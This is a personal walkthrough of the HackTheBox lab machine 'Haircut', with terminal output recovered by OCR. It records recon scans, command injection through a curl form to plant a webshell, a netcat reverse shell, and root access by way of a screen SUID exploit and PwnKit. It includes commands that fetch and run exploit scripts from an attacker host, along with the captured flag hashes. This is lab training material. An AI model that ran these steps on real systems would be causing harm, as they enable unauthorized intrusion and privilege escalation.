Haircut on HackTheBox

Started off with some nmap scans:
[image: A computer screen with green text

Description automatically generated]
[image: A black background with green text

Description automatically generated]
Navigating to the website and trying to check robots.txt gives away that the server is running nginx 1.10 [image: A screenshot of a computer

Description automatically generated]
Quick google search shows that this version of nginx is vulnerable to CVE-2021-23017.
A browse + ffuf of the website finds nothing of value other than an image an a forbidden uploads folder.
Decided to use the CVE exploit using https://github.com/M507/CVE-2021-23017-PoC/blob/main/README.md, but did not work.
Decided to run dirbuster just as a sanity check, and found some more files: [image: ]
Found a little form, so intercepted the request and sent it to burp repeater[image: A white background with black text

Description automatically generated] 
Tweaking the values a little got me to this:
[image: A screenshot of a computer

Description automatically generated]
The home page could be loaded from an outside IP address rather than the localhost.
So I created a simple html page and hosted it on a python server and uploaded it.
Works!
[image: ]
Page had several php pages running, so decided to test it with php:
Works, but seems to interpret it as html.
[image: A screenshot of a computer

Description automatically generated]
Decided to upload an echo ‘test’ to see what would happen:
[image: A screenshot of a computer

Description automatically generated]
Wasn’t sure if it was being rendered interpreted or not, so I decided I would put in a time delay to see if it was being executed, and the time delay and inspect-elementing the actual website confirmed that everything was being commented out.
Checked the curl page and found the -o flag might be useful, so decided to write the output to the /uploads folder:
Works AND it slept for 5 seconds!!!! We have execution.
[image: A screen shot of a computer

Description automatically generated]
Uploaded a webshell:
[image: A screenshot of a computer

Description automatically generated]
Shell!!!!
[image: A computer screen with green text

Description automatically generated]
User flag:
[image: A black screen with green text

Description automatically generated]
Maria seems to be the only current user on the device after analysing /etc/passwd.
Downloaded linpeas because I can’t find any obvious way to priv esc:
[image: A screen shot of a computer screen

Description automatically generated]
Looks interesting…[image: ]
A google search finds a priv esc vulnerability in it.
First one didn’t work [image: A screenshot of a computer screen

Description automatically generated]
Manually compile the C code and uploading it didn’t work 
[image: ]
Little nudge from Khalid led me to PwnKit: https://github.com/ly4k/PwnKit/blob/main/README.md 
WORKED!
[image: ]
ROOOOOOOOOOOOOOOT!!!
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ﬂaseena@parro(J—[~/ues|<top/noxesmalrcutj
$nc -lvnp 9999

lListening on [any] 9999 ...

onnect to [10.10.14.5] from (UNKNOWN) [10.10.10.24] 60612

_inux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
02:57:47 up 1:11, O users, load average: 0.00, 0.00, 0.00

IS TTY FROM LOGIN@ IDLE JCPU  PCPU WHAT

11d=33 (www-data) gid=33(www-data) groups=33(www-data)

’bin/sh: 0: can't access tty; job control turned off

b
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www -data@haircut:/home$ cd maria/

www-data@haircut: /home/maria$ 1s

Desktop Documents Downloads Music Pictures Public Templates Videos user.txt
www-data@haircut: /home/maria$ cat user.txt

4be34010c47d08elal3eed2cb30d82ea

www-data@haircut: /home/maria$
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rwsr-xr-x 1 root root 1.6M May 19 2017 /usr/bin/screen-4.5.0 (Unknown SUID binary!)
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www-data@halrcut:/$ curl 10.10.14.5:8000/privesc.sh|sh

' from /etc/ld.so.preload cannot be preloaded (cannot
ERROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so
' from /etc/ld.so.preload cannot be preloaded (cannot
ERROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so
% Total % Received % Xferd Average Speed Time
Dload Upload
100 1165 100 1165 0 0 17124
~ gnu/screenroot ~
[+] First, we create our shell and library...
' from /etc/ld.so.preload cannot be preloaded (cannot
ERROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so
' from /etc/ld.so.preload cannot be preloaded (cannot

FRROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so.

gcc: error trying to exec 'ccl': execvp: No such file
' from /etc/ld.so.preload cannot be preloaded (cannot

FRROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so.

' from /etc/ld.so.preload cannot be preloaded (cannot

FRROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so.

' from /etc/ld.so.preload cannot be preloaded (cannot

FRROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so.

gcc: error trying to exec 'ccl': execvp: No such file
' from /etc/ld.so.preload cannot be preloaded (cannot

FRROR:  1d.so: object '/tmp/libhax.so' from /etc/ld.so.

[+] Now we create our /etc/ld.so.preload file...
' from /etc/ld.so.preload cannot be preloaded (cannot

FRROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so.

[+] Triggering...

' from /etc/ld.so.preload cannot be preloaded (cannot
ERROR: 1d.so: object '/tmp/libhax.so' from /etc/ld.so
No Sockets found in /tmp/screens/S-www-data.

sh: 42: /tmp/rootshell: not found
ww-dataghaircut:/$ ||

Total

open shared object file): ignored.
.preload cannot be preloaded (cannot
open shared object file): ignored.
.preload cannot be preloaded (cannot
Time Time Current
Spent Left Speed
- --ie-ie- --i--1-- 17388

open shared object file): ignored.
.preload cannot be preloaded (cannot
open shared object file): ignored.
preload cannot be preloaded (cannot
or directory

open shared object file): ignored.
preload cannot be preloaded (cannot
open shared object file): ignored.
preload cannot be preloaded (cannot
open shared object file): ignored.
preload cannot be preloaded (cannot
or directory

open shared object file): ignored.
preload cannot be preloaded (cannot

open shared object file): ignored.
preload cannot be preloaded (cannot

open shared object file): ignored.
.preload cannot be preloaded (cannot

open

open

open

open

open

open

open

open

open

open

shared

shared

shared

shared

shared

shared

shared

shared

shared

shared

object

object

object

object

object
object

object

object

object

object

file):

file):

file):

file):

file):
file):

file):

file):

file):

file):

ignored.

ignored.

ignored.

ignored.

ignored.
ignored.

ignored.

ignored.

ignored.

ignored.




image17.png
ww-data@haircut:/etc$ /tmp/rootshel
ash: /tmp/rootshel: Permission denied
ww-data@haircut:/etc$ /tmp/rootshell
‘tmp/rootshell: line 1: [+]: command not found
‘tmp/rootshell: line warning: here-document at line 2 delimited by end-of-file (wanted 'Q&tdR§td000/1ib64/1d-1linux-x86-64.50.2GNUG§8$8088! 7t, uBAGNU' )
‘tmp/rootshell: line 2: GEHGES
(@e@ch&HHHHMM: Permission denied

n-data@haircut:/etcs |
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www-data@haircut:/tmp$ curl 10.10.14.5:8000/PwnKit -o PwnKit

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total  Spent Left Speed
100 20928 100 20928 0 0 174k 0 - - 176k

www-data@haircut:/tmp$ 1s

PwnKit

libhax.so

rootshel

rootshell

screens

ssh-XrYGjarNE6X5

ssh-Zc40ZdD5eguT

ssh-no2hHarWsNzr
systemd-private-bdccb39469214444839ca347d24c026a-systemd- timesyncd. service-VyGoyl
test

tmux-33

vmware-root

www-data@haircut:/tmp$ PwnKit

bash: ./PwnKit: Permission denied
www-data@haircut:/tmp$ chmod +x PwnKit
www-data@haircut:/tmp$ ./PwnKit
root@haircut:/tmp# cat /root/root.txt
5e075008ce5c56728974747de7dc90c6
rootghaircut:/tmp# [
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ﬂaseena@parrotJ—l~/Desktop/Boxes/Ha1rcut]

$sudo nmap -p- 10.10.10.24 --min-rate=10000

[sudo] password for yaseena:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-22 09:47 AEST

Narning: 10.10.10.24 giving up on port because retransmission cap hit (10).
map scan report for 10.10.10.24

fost is up (0.037s latency).

Not shown: 65400 closed tcp ports (reset), 133 filtered tcp ports (no-response)
PORT  STATE SERVICE

22/tcp open ssh

30/tcp open http

\map done: 1 IP address (1 host up) scanned in 14.50 seconds
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ﬂaseena@parmt]—[~/Desktop/Boxes/Ha1rcut]
$sudo nmap -A -p22,80 10.10.10.24

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-22 09:47 AEST
Nmap scan report for 10.10.10.24

Host is up (0.025s latency).

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.6)

| ssh-hostkey:

| 2048 e975c1e4b3633c93f2c618083648ce36 (RSA)

| 256 8700aba98f6f4bbafhc67a55a860b268 (ECDSA) 1
|_ 256 b61b5ca9265cdc61b775906c88516e54 (ED25519)

80/tcp open http nginx 1.10.6 (Ubuntu)

| _http-server-header: nginx/1.10.@ (Ubuntu)

|_http-title: HTB Hairdresser

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port

Aggressive 0S guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%
), Linux 4.2 (95%)

No exact 0S matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT AADDRESS

1 26.92ms 10.10.14.1

2 27.15 ms 10.10.10.24

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.15 seconds
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[ edirbuster e
$dirbuster

>tarting OWASP DirBuster 1.0-RC1

Starting dir/file list based brute forcing
"ile found: /index.html - 200

)ir found: / - 200

)ir found: /uploads/ - 403

"ile found: /test.html - 200

/hair.html - 200

: /exposed.php - 200
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Enter the Hairdresser's location you would like to check. Example: https//localhost/test.html

http://localhost/test html





